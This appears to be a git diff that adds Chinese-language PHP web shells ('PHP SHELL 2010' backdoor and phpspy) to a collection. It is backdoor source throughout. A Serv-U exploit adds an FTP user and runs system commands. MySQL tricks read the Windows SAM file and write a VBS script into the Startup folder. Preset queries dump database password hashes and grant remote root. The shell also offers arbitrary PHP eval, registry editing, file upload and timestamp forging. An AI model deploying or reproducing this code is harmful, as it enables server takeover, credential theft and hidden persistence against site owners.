                            '; $sendbuf = ""; $recvbuf = ""; $domain = "-SETDOMAIN\r\n"."-Domain=haxorcitos|0.0.0.0|21|-1|1|0\r\n"."-TZOEnable=0\r\n"." TZOKey=\r\n"; $adduser = "-SETUSERSETUP\r\n"."-IP=0.0.0.0\r\n"."-PortNo=21\r\n"."-User=".$_POST['user']."\r\n"."-Password=".$_POST['password']."\r\n"."-HomeDir=c:\\\r\n"."-LoginMesFile=\r\n"."-Disable=0\r\n"."-RelPaths=1\r\n"."-NeedSecure=0\r\n"."-HideHidden=0\r\n"."-AlwaysAllowLogin=0\r\n"."-ChangePassword=0\r\n". "-QuotaEnable=0\r\n"."-MaxUsersLoginPerIP=-1\r\n"."-SpeedLimitUp=0\r\n"."-SpeedLimitDown=0\r\n"."-MaxNrUsers=-1\r\n"."-IdleTimeOut=600\r\n"."-SessionTimeOut=-1\r\n"."-Expire=0\r\n"."-RatioUp=1\r\n"."-RatioDown=1\r\n"."-RatiosCredit=0\r\n"."-QuotaCurrent=0\r\n"."-QuotaMaximum=0\r\n". "-Maintenance=None\r\n"."-PasswordType=Regular\r\n"."-Ratios=None\r\n"." Access=".$_POST['part']."\|RWAMELCDP\r\n"; $deldomain = "-DELETEDOMAIN\r\n"."-IP=0.0.0.0\r\n"." PortNo=21\r\n"; $sock = @fsockopen("127.0.0.1", $_POST["SUPort"], &$errno, &$errstr, 10); $recvbuf = @fgets($sock, 1024); echo "返回数据包: $recvbuf
                            "; $sendbuf = "USER ".$_POST["SUUser"]."\r\n"; @fputs($sock, $sendbuf, strlen($sendbuf)); echo "发送数据包: $sendbuf
                            "; $recvbuf = @fgets($sock, 1024); echo "返回数据包: $recvbuf
                            "; $sendbuf = "PASS ".$_POST["SUPass"]."\r\n"; @fputs($sock, $sendbuf, strlen($sendbuf)); echo "发送数据包: $sendbuf
                            "; $recvbuf = @fgets($sock, 1024); echo "返回数据包: $recvbuf
                            "; $sendbuf = "SITE MAINTENANCE\r\n"; @fputs($sock, $sendbuf, strlen($sendbuf)); echo "发送数据包: $sendbuf
                            "; $recvbuf = @fgets($sock, 1024); echo "返回数据包: $recvbuf
                            "; $sendbuf = $domain; @fputs($sock, $sendbuf, strlen($sendbuf)); echo "发送数据包: $sendbuf
                            "; $recvbuf = @fgets($sock, 1024); echo "返回数据包: $recvbuf
                            "; $sendbuf = $adduser; @fputs($sock, $sendbuf, strlen($sendbuf)); echo "发送数据包: $sendbuf
                            "; $recvbuf = @fgets($sock, 1024); echo "返回数据包: $recvbuf
                            "; if(!empty($_POST['SUCommand'])) { $exp = @fsockopen("127.0.0.1", "21", &$errno, &$errstr, 10); $recvbuf = @fgets($exp, 1024); echo "返回数据包: $recvbuf
                            "; $sendbuf = "USER ".$_POST['user']."\r\n"; @fputs($exp, $sendbuf, strlen($sendbuf)); echo "发送数据包: $sendbuf
                            "; $recvbuf = @fgets($exp, 1024); echo "返回数据包: $recvbuf
                            "; $sendbuf = "PASS ".$_POST['password']."\r\n"; @fputs($exp, $sendbuf, strlen($sendbuf)); echo "发送数据包: $sendbuf
                            "; $recvbuf = @fgets($exp, 1024); echo "返回数据包: $recvbuf
                            "; $sendbuf = "site exec ".$_POST["SUCommand"]."\r\n"; @fputs($exp, $sendbuf, strlen($sendbuf)); echo "发送数据包: site exec ".$_POST["SUCommand"]."
                            "; $recvbuf = @fgets($exp, 1024); echo "返回数据包: $recvbuf
                            "; $sendbuf = $deldomain; @fputs($sock, $sendbuf, strlen($sendbuf)); echo "发送数据包: $sendbuf
                            "; $recvbuf = @fgets($sock, 1024); echo "返回数据包: $recvbuf
                            "; @fclose($exp); } @fclose($sock); echo '
                            '; } } function Mysql_n() { $MSG_BOX = ''; $mhost = 'localhost'; $muser = 'root'; $mport = '3306'; $mpass = ''; $mdata = 'mysql'; $msql = 'select version();'; if(isset($_POST['mhost']) && isset($_POST['muser'])) { $mhost = $_POST['mhost']; $muser = $_POST['muser']; $mpass = $_POST['mpass']; $mdata = $_POST['mdata']; $mport = $_POST['mport']; if($conn = mysql_connect($mhost.':'.$mport,$muser,$mpass)) @mysql_select_db($mdata); else $MSG_BOX = '连接MYSQL失败'; } $downfile = 'c:/windows/repair/sam'; if(!empty($_POST['downfile'])) { $downfile = File_Str($_POST['downfile']); $binpath = bin2hex($downfile); $query = 'select load_file(0x'.$binpath.')'; if($result = @mysql_query($query,$conn)) { $k = 0; $downcode = ''; while($row = @mysql_fetch_array($result)){$downcode .= $row[$k];$k++;} $filedown = basename($downfile); if(!$filedown) $filedown = 'spider.tmp'; $array = explode('.', $filedown); $arrayend = array_pop($array); header('Content-type: application/x-'.$arrayend); header('Content-Disposition: attachment; filename='.$filedown); header('Content-Length: '.strlen($downcode)); echo $downcode; exit; } else $MSG_BOX = '下载文件失败'; } $o = isset($_GET['o']) ? $_GET['o'] : ''; Root_CSS(); print<< +
                            +
                            +地址 +端口 +用户 +密码 +库名 +
                            +
                            +END; +if($o == 'u') { $uppath = 'C:/Documents and Settings/All Users/「开始」菜单/程序/启动/exp.vbs'; if(!empty($_POST['uppath'])) { $uppath = $_POST['uppath']; $query = 'Create TABLE a (cmd text NOT NULL);'; if(@mysql_query($query,$conn)) { if($tmpcode = File_Read($_FILES['upfile']['tmp_name'])){$filecode = bin2hex(File_Read($tmpcode));} else{$tmp = File_Str(dirname(__FILE__)).'/upfile.tmp';if(File_Up($_FILES['upfile']['tmp_name'],$tmp)){$filecode = bin2hex(File_Read($tmp));@unlink($tmp);}} $query = 'Insert INTO a (cmd) VALUES(CONVERT(0x'.$filecode.',CHAR));'; if(@mysql_query($query,$conn)) { $query = 'SELECT cmd FROM a INTO DUMPFILE \''.$uppath.'\';'; $MSG_BOX = @mysql_query($query,$conn) ? '上传文件成功' : '上传文件失败'; } else $MSG_BOX = '插入临时表失败'; @mysql_query('Drop TABLE IF EXISTS a;',$conn); } else $MSG_BOX = '创建临时表失败'; } print<<
                            上传路径 +

                            选择文件 +
                            +END; +} elseif($o == 'd') { print<<

                            下载文件 +
                            +END; +} else { if(!empty($_POST['msql'])) { $msql = $_POST['msql']; if($result = @mysql_query($msql,$conn)) { $MSG_BOX = '执行SQL语句成功
                            '; $k = 0; while($row = @mysql_fetch_array($result)){$MSG_BOX .= $row[$k];$k++;} } else $MSG_BOX .= mysql_error(); } print<< +function nFull(i){ + Str = new Array(15); + Str[0] = "select command Or input manual"; + Str[1] = "select version();"; + Str[2] = "select @@character_set_database;"; + Str[3] = "show databases;"; + Str[4] = "show tables;"; + Str[5] = "show columns from table_name;"; + Str[6] = "select @@hostname;"; + Str[7] = "select @@version_compile_os;"; + Str[8] = "select @@basedir;"; + Str[9] = "select @@datadir;"; + Str[10] = "describe table_name;"; + Str[11] = "select User,Password from mysql.user;"; + Str[12] = "select load_file(0x633A5C5C77696E646F77735C73797374656D33325C5C696E65747372765C5C6D657461626173652E786D6C);"; + Str[13] = "select 'testtest' into outfile '/var/www/html/test.txt' from mysql.user;"; + Str[14] = "GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;"; + nform.msql.value = Str[i]; + return true; +} + +
                            +
                            + + +END; +if(!empty($_POST['msql'])) { $msql = $_POST['msql']; if($result = @mysql_query($msql,$conn)) { $MSG_BOX = 'execute sql statement success
                            '; $row=mysql_fetch_row($result); echo ''.""; for ($i=0; $i'.mysql_field_name($result, $i).""; } echo ""; mysql_data_seek($result, 0); while ($row=mysql_fetch_row($result)) { echo ""; for ($i=0; $i'."$row[$i]".''; } echo ""; } echo "
                            "; mysql_free_result($result); } else $MSG_BOX .= mysql_error(); } } echo '
                            '.$MSG_BOX.'
                            '; return true; } function phpcode() { print<< +
                            +
                            用户自定义PHP代码:

                            +
                            +

                            +
                            + +END; +$phpcode = $_POST['phpcode']; $phpcode = trim($phpcode); if($phpcode){ if (!preg_match('#<\?#si',$phpcode)){ $phpcode = ""; } eval("?".">$phpcode
                            '; } return false; } function otherdb(){ $db = isset($_GET['db']) ? $_GET['db'] : ''; print<< + +END; +if ($db=="ms"){ $mshost = isset($_POST['mshost']) ? $_POST['mshost'] : 'localhost'; $msuser = isset($_POST['msuser']) ? $_POST['msuser'] : 'sa'; $mspass = isset($_POST['mspass']) ? $_POST['mspass'] : 'sa123'; $msdbname = isset($_POST['msdbname']) ? $_POST['msdbname'] : 'master'; $msaction = isset($_POST['action']) ? $_POST['action'] : ''; $msquery = isset($_POST['mssql']) ? $_POST['mssql'] : ''; $msquery = stripslashes($msquery); print<< +
                            主机: +用户: +密码: +数据库名:

                            + +
                            + + +
                            +END; +if ($msaction == 'msquery'){ $msconn= mssql_connect ($mshost , $msuser, $mspass); mssql_select_db($msdbname,$msconn) or die("连接失败:" .mssql_get_last_message()); $msresult = mssql_query($msquery) or die(mssql_get_last_message()); echo ''; echo ''; echo "\n\n"; for ($i=0; $i'. mssql_field_name($msresult, $i); echo "\n"; } echo "\n"; mssql_data_seek($result, 0); while ($msrow=mssql_fetch_row($msresult)) { echo "\n"; for ($i=0; $i'; echo "$msrow[$i]"; echo ''; } echo "\n"; } echo "
                            \n"; echo "
                            "; mssql_free_result($msresult); mssql_close(); } } elseif ($db=="ora"){ $orahost = isset($_POST['orahost']) ? $_POST['orahost'] : 'localhost'; $oraport = isset($_POST['oraport']) ? $_POST['oraport'] : '1521'; $orauser = isset($_POST['orauser']) ? $_POST['orauser'] : 'root'; $orapass = isset($_POST['orapass']) ? $_POST['orapass'] : '123456'; $orasid = isset($_POST['orasid']) ? $_POST['orasid'] : 'ORCL'; $oraaction = isset($_POST['action']) ? $_POST['action'] : ''; $oraquery = isset($_POST['orasql']) ? $_POST['orasql'] : ''; $oraquery = stripslashes($oraquery); print<< +
                            主机: +端口: +用户: +密码: +SID:

                            + +
                            + + +
                            +END; +if ($oraaction == 'oraquery'){ $oralink = OCILogon($orauser,$orapass,"(DEscriptION=(ADDRESS=(PROTOCOL =TCP)(HOST=$orahost)(PORT = $oraport))(CONNECT_DATA =(SID=$orasid)))") or die(ocierror()); $oraresult=ociparse($oralink,$oraquery) or die(ocierror()); $orarow=oci_fetch_row($oraresult); echo ''; echo ''; echo "\n\n"; for ($i=0; $i'. oci_field_name($oraresult, $i); echo "\n"; } echo "\n"; ociresult($oraresult, 0); while ($orarow=ora_fetch_row($oraresult)) { echo "\n"; for ($i=0; $i'; echo "$orarow[$i]"; echo ''; } echo "\n"; } echo "
                            \n"; echo "
                            "; oci_free_statement($oraresult); ocilogoff(); } } elseif ($db == "ifx"){ $ifxuser = isset($_POST['ifxuser']) ? $_POST['ifxuser'] : 'root'; $ifxpass = isset($_POST['ifxpass']) ? $_POST['ifxpass'] : '123456'; $ifxdbname = isset($_POST['ifxdbname']) ? $_POST['ifxdbname'] : 'ifxdb'; $ifxaction = isset($_POST['action']) ? $_POST['action'] : ''; $ifxquery = isset($_POST['ifxsql']) ? $_POST['ifxsql'] : ''; $ifxquery = stripslashes($ifxquery); print<< +
                            数据库名: +用户: +密码:

                            + +
                            + + +
                            +END; +if ($ifxaction == 'ifxquery'){ $ifxlink = ifx_connect($ifcdbname, $ifxuser, $ifxpass) or die(ifx_errormsg()); $ifxresult = ifx_query($ifxquery,$ifxlink) or die (ifx_errormsg()); $ifxrow=ifx_fetch_row($ifxresult); echo ''; echo ''; echo "\n\n"; for ($i=0; $i'. ifx_fieldproperties($ifxresult); echo "\n"; } echo "\n"; mysql_data_seek($ifxresult, 0); while ($ifxrow=ifx_fetch_row($ifxresult)) { echo "\n"; for ($i=0; $i'; echo "$ifxrow[$i]"; echo ''; } echo "\n"; } echo "
                            \n"; echo "
                            "; ifx_free_result($ifxresult); ifx_close(); } } elseif ($db=="db2"){ $db2host = isset($_POST['db2host']) ? $_POST['db2host'] : 'localhost'; $db2port = isset($_POST['db2port']) ? $_POST['db2port'] : '50000'; $db2user = isset($_POST['db2user']) ? $_POST['db2user'] : 'root'; $db2pass = isset($_POST['db2pass']) ? $_POST['db2pass'] : '123456'; $db2dbname = isset($_POST['db2dbname']) ? $_POST['db2dbname'] : 'mysql'; $db2action = isset($_POST['action']) ? $_POST['action'] : ''; $db2query = isset($_POST['db2sql']) ? $_POST['db2sql'] : ''; $db2query = stripslashes($db2query); print<< +
                            主机: +端口: +用户: +密码: +数据库名:

                            + +
                            + + +
                            +END; +if ($myaction == 'db2query'){ $db2link = db2_connect($db2dbname, $db2user, $db2pass) or die(db2_conn_errormsg()); $db2result = db2_exec($db2link,$db2query) or die(db2_stmt_errormsg()); $db2row=db2_fetch_row($db2result); echo ''; echo ''; echo "\n\n"; for ($i=0; $i'. db2_field_name($db2result); echo "\n"; } echo "\n"; while ($db2row=db2_fetch_row($db2result)) { echo "\n"; for ($i=0; $i'; echo "$db2row[$i]"; echo ''; } echo "\n"; } echo "
                            \n"; echo "
                            "; db2_free_result($db2result); db2_close(); } } elseif($db == "fb") { $fbhost = isset($_POST['fbhost']) ? $_POST['fbhost'] : 'localhost'; $fbpath = isset($_POST['fbpath']) ? $_POST['fbpath'] : ''; $fbpath = str_replace("\\\\", "\\", $fbpath); $fbuser = isset($_POST['fbuser']) ? $_POST['fbuser'] : 'sysdba'; $fbpass = isset($_POST['fbpass']) ? $_POST['fbpass'] : 'masterkey'; $fbaction = isset($_POST['action']) ? $_POST['action'] : ''; $fbquery = isset($_POST['fbsql']) ? $_POST['fbsql'] : ''; $fbquery = stripslashes($fbquery); print<< +
                            主机: +路径: +用户: +密码:
                            + +
                            + + +
                            +END; +if ($fbaction == 'fbquery'){ $fblink = ibase_connect($fbhost.':'.$fbpath,$fbuser,$fbpass) or die(ibase_errmsg()); $fbresult = ibase_query($fblink,$fbquery) or die(ibase_errmsg()); echo ''; echo ''; echo "\n\n"; for ($i=0; $i'. ibase_field_info($fbresult, $i); echo "\n"; } echo "\n"; ibase_field_info($fbresult, 0); while ($fbrow=ibase_fetch_row($fbresult)) { echo "\n"; for ($i=0; $i'; echo "$fbrow[$i]"; echo ''; } echo "\n"; } echo "
                            \n"; echo "
                            "; ibase_free_result($fbresult); ibase_close(); } } else{ $pghost = isset($_POST['pghost']) ? $_POST['pghost'] : 'localhost'; $pguser = isset($_POST['pguser']) ? $_POST['pguser'] : 'postgres'; $pgpass = isset($_POST['pgpass']) ? $_POST['pgpass'] : ''; $pgdbname = isset($_POST['pgdbname']) ? $_POST['pgdbname'] : 'postgres'; $pgaction = isset($_POST['action']) ? $_POST['action'] : ''; $pgquery = isset($_POST['pgsql']) ? $_POST['pgsql'] : ''; $pgquery = stripslashes($pgquery); print<< +
                            主机: +用户: +密码: +数据库名:

                            + +
                            + + +
                            +END; +if ($pgaction == 'pgquery'){ $pgconn = pg_connect("host=$pghost dbname=$pgdbname user=$pguser password=$pgpass ") or die( '不能连接: ' . pg_last_error()); $pgresult = pg_query($pgquery) or die( '执行失败: '.pg_last_error()); $pgrow=pg_fetch_row($pgresult); echo ''; echo ''; echo "\n\n"; for ($i=0; $i'. pg_field_name($pgresult, $i); echo "\n"; } echo "\n"; pg_result_seek($pgresult, 0); while ($pgrow=pg_fetch_row($pgresult)) { echo "\n"; for ($i=0; $i'; echo "$pgrow[$i]"; echo ''; } echo "\n"; } echo "
                            \n"; echo "
                            "; pg_free_result($pgresult); pg_close(); } } } function phpreg(){ $shell1 = new COM("wscript.shell") or die("必须是 windows 主机"); $action = isset($_POST['action']) ? $_POST['action'] : ''; echo '
                            '; echo '
                            读 & 写 &删除 注册表

                            '; echo '
                            '; print<<
                            +
                            +读取路径:  + +

                            +END; +$rpath = isset($_POST['rpath']) ? $_POST['rpath'] : ''; $rpath = str_replace("\\\\", "\\", $rpath); if ($action=="read"){ $out = $shell1->RegRead($rpath); echo '
                            '.var_dump($out).'
                            '; echo '

                            '; } print<<
                            +
                            Wpath: +

                            +写类型:  +写键值:  + +


                            +END; +$wpath = isset($_POST['wpath']) ? $_POST['wpath'] : ''; $wpath = str_replace("\\\\", "\\", $wpath); $wtype = isset($_POST['wtype']) ? $_POST['wtype'] : ''; $wvalue = isset($_POST['wvalue']) ? $_POST['wvalue'] : ''; if ($action=="write"){ $shell1->RegWrite($wpath, $wvalue, $wtype); } print<<
                            +
                            +删除路径: + +

                            +END; +$dpath = isset($_POST['dpath']) ? $_POST['dpath'] : ''; $dpath = str_replace("\\\\", "\\", $dpath); if ($action=="del"){ $out = $shell1->RegDelete($dpath); } } function Root_Login($MSG_TOP) { global $lanip; print<< + +
                            +
                            +
                            +
                            {$MSG_TOP}
                            +
                            密码:
                            +
                            +
                            @Copyright spider Clean Backdoor加强版 by:B1ac7Sky && L.N.
                            +
                            Your IP : {$lanip}
                            +
                            +
                            +
                            + + +END; +return false; } function WinMain() { $Server_IP = gethostbyname($_SERVER["SERVER_NAME"]); $Server_OS = PHP_OS; $Server_Soft = $_SERVER["SERVER_SOFTWARE"]; print<< + PHP SHELL 2010 加强版 by:B1ac7Sky && L.N. + + + + + + + + +END; +return false; } if(get_magic_quotes_gpc()) { $_GET = Root_GP($_GET); $_POST = Root_GP($_POST); } if($_GET['s'] == 'logout') { setcookie('admin_b4che10rpass',NULL); die(''); } if($_COOKIE['admin_b4che10rpass'] != md5($password)) { ob_start(); $MSG_TOP = 'PHP shell加强版 '; if(isset($_POST['b4che10rpass'])) { $cookietime = time() + 24 * 3600; setcookie('admin_b4che10rpass',md5($_POST['b4che10rpass']),$cookietime); if(md5($_POST['b4che10rpass']) == md5($password)){die('');} else{$MSG_TOP = '密码错误';} } Root_Login($MSG_TOP); exit(); ob_end_flush(); } if(isset($_GET['s'])){$s = $_GET['s'];if($s != 'a' && $s != 'n')Root_CSS();}else{$s = 'MyNameIsHacker';} $p = isset($_GET['p']) ? $_GET['p'] : File_Str(dirname(__FILE__)); switch($s) { case "a" : File_a($p); break; case "b" : Guama_b(); break; case "c" : Qingma_c(); break; case "d" : Tihuan_d(); break; case "e" : Antivirus_e(); break; case "f" : Info_f(); break; case "g" : Exec_g(); break; case "h" : Com_h(); break; case "i" : Port_i(); break; case "j" : Shellcode_j(); break; case "k" : Crack_k(); break; case "l" : Linux_l(); break; case "m" : Mysql_m(); break; case "n" : Mysql_n(); break; case "o" : phpreg(); break; case "p" : File_Edit($_GET['fp'],$_GET['fn']); break; case 'x' : phpcode();break; case 'r' : phpsocket();break; case 'w' : otherdb();break; case 'z' : su();break; case 'u' : Findfile_j(); break; case 'v' : ftp_php();break; default: WinMain(); break; } ?> diff --git "a/php/phpspy-\344\270\255\346\226\207\347\211\210.php" "b/php/phpspy-\344\270\255\346\226\207\347\211\210.php" new file mode 100644 index 0000000..bbe211d --- /dev/null +++ "b/php/phpspy-\344\270\255\346\226\207\347\211\210.php" @@ -0,0 +1,1956 @@ + + *{padding:0; margin:0;} + body{background:threedface;font-family:"Verdana", "Tahoma", "宋体",sans-serif; font-size:13px;margin-top:3px;margin-bottom:3px;table-layout:fixed;word-break:break-all;} + a{color:#000000;text-decoration:none;} + a:hover{background:#BBBBBB;} + table{color:#000000;font-family:"Verdana", "Tahoma", "宋体",sans-serif;font-size:13px;border:1px solid #999999;} + td{background:#F9F6F4;} + .toptd{background:threedface; width:310px; border-color:#FFFFFF #999999 #999999 #FFFFFF; border-style:solid;border-width:1px;} + .msgbox{background:#FFFFE0;color:#FF0000;height:25px;font-size:12px;border:1px solid #999999;text-align:center;padding:3px;clear:both;} + .actall{background:#F9F6F4;font-size:14px;border:1px solid #999999;padding:2px;margin-top:3px;margin-bottom:3px;clear:both;} +\n +END; +return false; +} + +//文件管理 +class packdir +{ + var $out = ''; + var $datasec = array(); + var $ctrl_dir = array(); + var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; + var $old_offset = 0; + function packdir($array) + { + if(@function_exists('gzcompress')) + { + for($n = 0;$n < count($array);$n++) + { + $array[$n] = urldecode($array[$n]); + $fp = @fopen($array[$n], 'r'); + $filecode = @fread($fp, @filesize($array[$n])); + @fclose($fp); + $this -> filezip($filecode,basename($array[$n])); + } + @closedir($zhizhen); + $this->out = $this->packfile(); + return true; + } + return false; + } + function at($atunix = 0) + { + $unixarr = ($atunix == 0) ? getdate() : getdate($atunix); + if ($unixarr['year'] < 1980) + { + $unixarr['year'] = 1980; + $unixarr['mon'] = 1; + $unixarr['mday'] = 1; + $unixarr['hours'] = 0; + $unixarr['minutes'] = 0; + $unixarr['seconds'] = 0; + } + return (($unixarr['year'] - 1980) << 25) | ($unixarr['mon'] << 21) | ($unixarr['mday'] << 16) | ($unixarr['hours'] << 11) | ($unixarr['minutes'] << 5) | ($unixarr['seconds'] >> 1); + } + function filezip($data, $name, $time = 0) + { + $name = str_replace('\\', '/', $name); + $dtime = dechex($this->at($time)); + $hexdtime = '\x'.$dtime[6].$dtime[7].'\x'.$dtime[4].$dtime[5].'\x'.$dtime[2].$dtime[3].'\x'.$dtime[0].$dtime[1]; + eval('$hexdtime = "' . $hexdtime . '";'); + $fr = "\x50\x4b\x03\x04"; + $fr .= "\x14\x00"; + $fr .= "\x00\x00"; + $fr .= "\x08\x00"; + $fr .= $hexdtime; + $unc_len = strlen($data); + $crc = crc32($data); + $zdata = gzcompress($data); + $c_len = strlen($zdata); + $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); + $fr .= pack('V', $crc); + $fr .= pack('V', $c_len); + $fr .= pack('V', $unc_len); + $fr .= pack('v', strlen($name)); + $fr .= pack('v', 0); + $fr .= $name; + $fr .= $zdata; + $fr .= pack('V', $crc); + $fr .= pack('V', $c_len); + $fr .= pack('V', $unc_len); + $this -> datasec[] = $fr; + $new_offset = strlen(implode('', $this->datasec)); + $cdrec = "\x50\x4b\x01\x02"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x14\x00"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x08\x00"; + $cdrec .= $hexdtime; + $cdrec .= pack('V', $crc); + $cdrec .= pack('V', $c_len); + $cdrec .= pack('V', $unc_len); + $cdrec .= pack('v', strlen($name) ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('V', 32 ); + $cdrec .= pack('V', $this -> old_offset ); + $this -> old_offset = $new_offset; + $cdrec .= $name; + $this -> ctrl_dir[] = $cdrec; + } + function packfile() + { + $data = implode('', $this -> datasec); + $ctrldir = implode('', $this -> ctrl_dir); + return $data.$ctrldir.$this -> eof_ctrl_dir.pack('v', sizeof($this -> ctrl_dir)).pack('v', sizeof($this -> ctrl_dir)).pack('V', strlen($ctrldir)).pack('V', strlen($data))."\x00\x00"; + } +} + +function File_Str($string) +{ + return str_replace('//','/',str_replace('\\','/',$string)); +} + +function File_Size($size) +{ + if($size > 1073741824) $size = round($size / 1073741824 * 100) / 100 . ' G'; + elseif($size > 1048576) $size = round($size / 1048576 * 100) / 100 . ' M'; + elseif($size > 1024) $size = round($size / 1024 * 100) / 100 . ' K'; + else $size = $size . ' B'; + return $size; +} + +function File_Mode() +{ + $RealPath = realpath('./'); + $SelfPath = $_SERVER['PHP_SELF']; + $SelfPath = substr($SelfPath, 0, strrpos($SelfPath,'/')); + return File_Str(substr($RealPath, 0, strlen($RealPath) - strlen($SelfPath))); +} + +function File_Read($filename) +{ + $handle = @fopen($filename,"rb"); + $filecode = @fread($handle,@filesize($filename)); + @fclose($handle); + return $filecode; +} + +function File_Write($filename,$filecode,$filemode) +{ + $key = true; + $handle = @fopen($filename,$filemode); + if(!@fwrite($handle,$filecode)) + { + @chmod($filename,0666); + $key = @fwrite($handle,$filecode) ? true : false; + } + @fclose($handle); + return $key; +} + +function File_Up($filea,$fileb) +{ + $key = @copy($filea,$fileb) ? true : false; + if(!$key) $key = @move_uploaded_file($filea,$fileb) ? true : false; + return $key; +} + +function File_Down($filename) +{ + if(!file_exists($filename)) return false; + $filedown = basename($filename); + $array = explode('.', $filedown); + $arrayend = array_pop($array); + header('Content-type: application/x-'.$arrayend); + header('Content-Disposition: attachment; filename='.$filedown); + header('Content-Length: '.filesize($filename)); + @readfile($filename); + exit; +} + +function File_Deltree($deldir) +{ + if(($mydir = @opendir($deldir)) == NULL) return false; + while(false !== ($file = @readdir($mydir))) + { + $name = File_Str($deldir.'/'.$file); + if((is_dir($name)) && ($file!='.') && ($file!='..')){@chmod($name,0777);File_Deltree($name);} + if(is_file($name)){@chmod($name,0777);@unlink($name);} + } + @closedir($mydir); + @chmod($deldir,0777); + return @rmdir($deldir) ? true : false; +} + +function File_Act($array,$actall,$inver) +{ + if(($count = count($array)) == 0) return '请选择文件'; + if($actall == 'e') + { + $zip = new packdir; + if($zip->packdir($array)){$spider = $zip->out;header("Content-type: application/unknown");header("Accept-Ranges: bytes");header("Content-length: ".strlen($spider));header("Content-disposition: attachment; filename=".$inver.";");echo $spider;exit;} + return '打包所选文件失败'; + } + $i = 0; + while($i < $count) + { + $array[$i] = urldecode($array[$i]); + switch($actall) + { + case "a" : $inver = urldecode($inver); if(!is_dir($inver)) return '路径错误'; $filename = array_pop(explode('/',$array[$i])); @copy($array[$i],File_Str($inver.'/'.$filename)); $msg = '复制到'.$inver.'目录'; break; + case "b" : if(!@unlink($array[$i])){@chmod($filename,0666);@unlink($array[$i]);} $msg = '删除'; break; + case "c" : if(!eregi("^[0-7]{4}$",$inver)) return '属性值错误'; $newmode = base_convert($inver,8,10); @chmod($array[$i],$newmode); $msg = '属性修改为'.$inver; break; + case "d" : @touch($array[$i],strtotime($inver)); $msg = '修改时间为'.$inver; break; + } + $i++; + } + return '所选文件'.$msg.'完毕'; +} + +function File_Edit($filepath,$filename,$dim = '') +{ + $THIS_DIR = urlencode($filepath); + $THIS_FILE = File_Str($filepath.'/'.$filename); + if(file_exists($THIS_FILE)){$FILE_TIME = @date('Y-m-d H:i:s',filemtime($THIS_FILE));$FILE_CODE = htmlspecialchars(File_Read($THIS_FILE));} + else {$FILE_TIME = @date('Y-m-d H:i:s',time());$FILE_CODE = '';} +print<< +var NS4 = (document.layers); +var IE4 = (document.all); +var win = this; +var n = 0; +function search(str){ + var txt, i, found; + if(str == "")return false; + if(NS4){ + if(!win.find(str)) while(win.find(str, false, true)) n++; else n++; + if(n == 0) alert(str + " ... Not-Find") + } + if(IE4){ + txt = win.document.body.createTextRange(); + for(i = 0; i <= n && (found = txt.findText(str)) != false; i++){ + txt.moveStart("character", 1); + txt.moveEnd("textedit") + } + if(found){txt.moveStart("character", -1);txt.findText(str);txt.select();txt.scrollIntoView();n++} + else{if (n > 0){n = 0;search(str)}else alert(str + "... Not-Find")} + } + return false +} +function CheckDate(){ + var re = document.getElementById('mtime').value; + var reg = /^(\\d{1,4})(-|\\/)(\\d{1,2})\\2(\\d{1,2}) (\\d{1,2}):(\\d{1,2}):(\\d{1,2})$/; + var r = re.match(reg); + if(r==null){alert('日期格式不正确!格式:yyyy-mm-dd hh:mm:ss');return false;} + else{document.getElementById('editor').submit();} +} + +
                            查找内容: +
                            +
                            +
                            +
                            +
                            文件修改时间
                            +
                            +
                            +
                            +END; +} + +function File_Soup($p) +{ + $THIS_DIR = urlencode($p); + $UP_SIZE = get_cfg_var('upload_max_filesize'); + $MSG_BOX = '单个附件允许大小:'.$UP_SIZE.', 改名格式(new.php),如为空,则保持原文件名.'; + if(!empty($_POST['updir'])) + { + if(count($_FILES['soup']) >= 1) + { + $i = 0; + foreach ($_FILES['soup']['error'] as $key => $error) + { + if ($error == UPLOAD_ERR_OK) + { + $souptmp = $_FILES['soup']['tmp_name'][$key]; + if(!empty($_POST['reup'][$i]))$soupname = $_POST['reup'][$i]; else $soupname = $_FILES['soup']['name'][$key]; + $MSG[$i] = File_Up($souptmp,File_Str($_POST['updir'].'/'.$soupname)) ? $soupname.'上传成功' : $soupname.'上传失败'; + } + $i++; + } + } + else + { + $MSG_BOX = '请选择文件'; + } + } +print<<{$MSG_BOX} +
                            +
                            上传到目录:
                            +
                            附件1 改名 $MSG[0]
                            +
                            附件2 改名 $MSG[1]
                            +
                            附件3 改名 $MSG[2]
                            +
                            附件4 改名 $MSG[3]
                            +
                            附件5 改名 $MSG[4]
                            +
                            附件6 改名 $MSG[5]
                            +
                            附件7 改名 $MSG[6]
                            +
                            附件8 改名 $MSG[7]
                            +
                            +
                            +END; +} + +function File_a($p) +{ + if(!$_SERVER['SERVER_NAME']) $GETURL = ''; else $GETURL = 'http://'.$_SERVER['SERVER_NAME'].'/'; + $MSG_BOX = '等待消息队列'; + $UP_DIR = urlencode(File_Str($p.'/..')); + $REAL_DIR = File_Str(realpath($p)); + $FILE_DIR = File_Str(dirname(__FILE__)); + $ROOT_DIR = File_Mode(); + $THIS_DIR = urlencode(File_Str($REAL_DIR)); + $NUM_D = 0; + $NUM_F = 0; + if(!empty($_POST['pfn'])){$intime = @strtotime($_POST['mtime']);$MSG_BOX = File_Write($_POST['pfn'],$_POST['pfc'],'wb') ? '编辑文件 '.$_POST['pfn'].' 成功' : '编辑文件 '.$_POST['pfn'].' 失败';@touch($_POST['pfn'],$intime);} + if(!empty($_FILES['ufp']['name'])){if($_POST['ufn'] != '') $upfilename = $_POST['ufn']; else $upfilename = $_FILES['ufp']['name'];$MSG_BOX = File_Up($_FILES['ufp']['tmp_name'],File_Str($REAL_DIR.'/'.$upfilename)) ? '上传文件 '.$upfilename.' 成功' : '上传文件 '.$upfilename.' 失败';} + if(!empty($_POST['actall'])){$MSG_BOX = File_Act($_POST['files'],$_POST['actall'],$_POST['inver']);} + if(isset($_GET['md'])){$modfile = File_Str($REAL_DIR.'/'.$_GET['mk']); if(!eregi("^[0-7]{4}$",$_GET['md'])) $MSG_BOX = '属性值错误'; else $MSG_BOX = @chmod($modfile,base_convert($_GET['md'],8,10)) ? '修改 '.$modfile.' 属性为 '.$_GET['md'].' 成功' : '修改 